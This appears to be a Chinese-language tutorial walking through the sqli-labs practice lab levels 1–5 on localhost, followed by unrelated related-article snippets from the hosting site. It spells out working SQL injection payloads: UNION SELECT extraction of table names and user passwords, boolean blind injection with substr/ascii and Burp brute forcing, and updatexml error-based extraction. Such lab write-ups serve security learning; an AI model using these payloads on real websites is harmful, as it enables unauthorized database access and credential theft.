sql注入靶场

第一关:

输入:http://127.0.0.1/sqli-labs-master/Less-1/?id=1

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27--+

使用--+来闭合单引号,证明此处存在字符型的SQL注入。

使用order by 判断字段数:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20%20order%20by%203--+

在这里先使用order by 4 报错,在使用order by 3正常,证明此处字段数为3

使用union select 判断注入点,使用?id=-1,目的是联合查询,即同时查询两个SQL语句,使用-1是让前面的语句报错,只输出后面的结果。

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+

代表在23存在注入点,以选择任意一个进行注入:

直接爆数据库:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3--+

爆表名:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

爆表名:' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆数据:' union select 1,group_concat(username),group_concat(password) from users--+

第二关:

输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1'

发现报错,删除单引号:

输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1

输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1' --+报错

输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1 --+正常

代表存在数字型的SQL注入

使用order by 判断字段数:

输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1order by 4--+报错

输入:http://127.0.0.1/sqli-labs-master/Less-2/?id=1order by 4--+正常

此处存在3个字段数:

后面和第一关一样操作即可,只需去掉第一关的单引号

第三关:

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1'

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1'--+

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1--+依旧报错,此处和第一关和第二关都不同,使用')闭合,尝试报错

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1')--+

即证明此处存在SQL注入,

第四关:

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1' --+正常

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1") 报错

输入:http://127.0.0.1/sqli-labs-master/Less-3/?id=1")--+正常

证明存在SQL注入。

盲注

第五关:

输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1,发现返回的是you are in…,并未像之前一样返回了具体数据,因此可以判断是盲注类型的注入!

输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  报错

输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1’--+正常返回的是you are in…

表明存在SQL注入,且为盲注型的SQL注入:

爆破数据库:

使用length判断长度:?id=1' and length(database())=8--+,这里8是判断数据的长度数,可依次尝试:

当数据库的长度为7时即报错:

知道数据库的长度为7,开始爆破数据库名,使用:

备注:substr(string ,a,b)表示,截取字符串string从第a位开始,截取b

?id=1' and ascii(substr(database(),1,1))=115--+          //115对应的ascii码是s

使用burp进行抓包,暴力破解

设置攻击载荷

按照顺序将数字写下来,依次是:

115   101  99  117   114  105 116  121

对应ASCII码的值为:security

这里解释一下函数limitsubstr

limit 0,1                     #意思是从0个开始,获取第一个

substr(xxx,2,1)            #意思是从字符串xxx的第2个字符开始,截取1个

办法二、使用updatexml函数:

输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(%27!%27,database(),%27!%27),1)--+

updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'!'),1)

爆破列:

updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1)

爆破数据:

updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/197227.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

5.27每日一题(判断函数在那个区间上有界:充分条件不是必要条件)

若f(x)在(a , b)上连续,且f(a0),f(b-0)存在(及函数的左右极限存在)>f(x)在(a,b)上有界

springboot中4级配置文件优先级

springboot中4级配置文件优先级

【AICFD案例教程】PCB多变量AI预测分析

AICFD是由天洑软件自主研发的通用智能热流体仿真软件,用于高效解决能源动力、船舶海洋、电子设备和车辆运载等领域复杂的流动和传热问题。软件涵盖了从建模、仿真到结果处理完整仿真分析流程,帮助工业企业建立设计、仿真和优化相结合的一体化流程&#x…

【视觉SLAM十四讲学习笔记】第三讲——四元数

专栏系列文章如下: 【视觉SLAM十四讲学习笔记】第一讲——SLAM介绍 【视觉SLAM十四讲学习笔记】第二讲——初识SLAM 【视觉SLAM十四讲学习笔记】第三讲——旋转矩阵 【视觉SLAM十四讲学习笔记】第三讲——Eigen库 【视觉SLAM十四讲学习笔记】第三讲——旋转向量和欧…

【小白进阶】Linux 调试大法——gdb

初衷 gdb调试是每一个后端开发工程师所必备的技能,我们工作总是会用gdb协助我们去分析和调试问题。但是大部分同学的技能仅停留在最基础的查看问题。即gdb program -->r --> 问题复现 --> bt 查看源码中的哪一行出现了错误。再稍微熟练点的,可能…

Node.js 事件循环:定时任务、延迟任务和 I/O 事件的艺术

🤍 前端开发工程师(主业)、技术博主(副业)、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云…

python多线程和多进程

1.多线程 线程是程序执行的最小单位,一个进程至少有一个线程。 提高并发性。通过线程可方便有效地实现并发性。进程可创建多个线程来执行同一程序的不同部分。 进程之间不能共享内存,但线程之间共享内存非常容易。 Python 常用的多线程库有threading 和…

微信小程序Vue+nodejs教室自习室座位预约系统68u2m

本文从管理员、用户的功能要求出发,教室预约系统小程序中的功能模块主要是实现管理端;首页、个人中心、教室信息管理、教室设备管理、用户管理、教室预约管理、管理员管理、系统管理,微信端;首页、教室信息、教室设备、教室预约、…

【吞噬星空】弧刀盘价值180亿,购买1016名强者,保卫地球

Hello,小伙伴们,我是拾荒君。 国漫《吞噬星空》的第95集更新了,一更新,我和我的小伙伴们就迫不及待地去观看了。在这个集剧中,罗峰在一个奴隶拍卖场中深切地感受到了宇宙中弱肉强食的残酷现实。他看到,在宇宙中&#…

goweb入门教程

本文是作者自己学习goweb时写的笔记,分享给大家,希望能有些帮助 前言: 关于web:本质 ​ ​ web中最重要的就是浏览器和服务器的request(请求)和response(响应); ​ 一个请求对应一个响应。 一个请求对应一个响应&…

鸿蒙开发ArkUI -常用布局

线性布局(Row/Column) 间距/主轴排列方式/交叉轴对齐方式 Column({}) {Column() {}.width(80%).height(50).backgroundColor(0xF5DEB3)Column() {}.width(80%).height(50).backgroundColor(0xD2B48C)Column() {}.width(80%).height(50).backgroundColor(0xF5DEB3) } .width(1…

vue3通过v-model实现父子组件通信

单一值传递 父组件 <template><div ><h1>v-model实现父子组件通讯</h1><hr><child1 v-model"num"></child1><!-- 上下两个是等价的 --><child1 :modelValue"num" update:modelValue"handle&quo…

软件测试项目经验简历包装怎么写?

软件测试是使用人工或者自动的手段来运行或者测定某个软件系统的过程&#xff0c;其目的在于检验它是否满足规定的需求或弄清预期结果与实际结果之间的差别。 在软件投入使用前&#xff0c;要经过一系列的严格测试&#xff0c;才能保证交付质量。 一、引言 1.编写目的 本文档…

有趣的代码——猜数字游戏的实现

前面介绍过很多的C语言常识&#xff0c;但是我们都知道“兴趣是最好的老师”&#xff0c;所以&#xff0c;今天我们用之前讲过的一些知识&#xff0c;加上部分新补充的知识点&#xff0c;写一个“猜数字”的小游戏&#xff0c;来丰富我们的编程学习生活&#xff0c;感受来自C语…

【小布_ORACLE】Part11-1--RMAN Backups笔记

Oracle的数据备份于恢复RMAN Backups 学习第11章需要掌握&#xff1a; 一.RMAN的备份类型 二.使用backup命令创建备份集 三.创建备份文件 四.备份归档日志文件 五.使用RMAN的copy命令创建镜像拷贝 文章目录 Oracle的数据备份于恢复RMAN Backups1.RMAN Backup Concepts&#x…

云原生系列Go语言篇-编写测试Part 1

本文来自正在规划的​​Go语言&云原生自我提升系列​​&#xff0c;欢迎关注后续文章。 2000年以来&#xff0c;自动化测试的广泛应用可能比任何其他软件工程技术都更能提高代码质量。Go是一种专注于提高软件质量的语言和生态系统&#xff0c;很自然的在其标准库中包含了测…

《2023全球隐私计算报告》正式发布!

2023全球隐私计算报告 1、2023全球隐私计算图谱2、国内外隐私计算相关政策3、隐私计算技术的最新发展4、隐私计算技术的合规挑战5、隐私计算的应用市场动态6、隐私计算开源整体趋势7、隐私计算的未来趋势 11月23日&#xff0c;由浙江省人民政府、商务部共同主办&#xff0c;杭州…

Appium自动化如果出现报错怎么办?这么做确实解决问题

解决通过appium的inspector功能无法启动app的原因 在打开appium-desktop程序&#xff0c;点击inspector功能&#xff0c;填写app的配置信息&#xff0c;启动服务提示如下&#xff1a; 报错信息&#xff1a; An unknown server-side error occurred while processing the com…

牛客 算法题 记负均正II golang实现

题目 HJ105 记负均正II golang 实现 package mainimport ("bufio""fmt""io""os""strconv""strings" )func main() {scanner : bufio.NewScanner(os.Stdin)nums:make([]int,0)sum:0minus:0for scanner.Scan() {l…

java开发需要掌握的maven相关知识和Junit单元测试

maven简介 什么是maven&#xff1a; maven是一款管理和构建java项目的工具&#xff0c;是apache旗下的一个开源项目。 maven的作用&#xff1a; 依赖管理&#xff1a; 方便快捷的管理项目依赖的资源&#xff08;jar包&#xff09;。 项目构建&#xff1a; 标准化的跨平台&#…
最新文章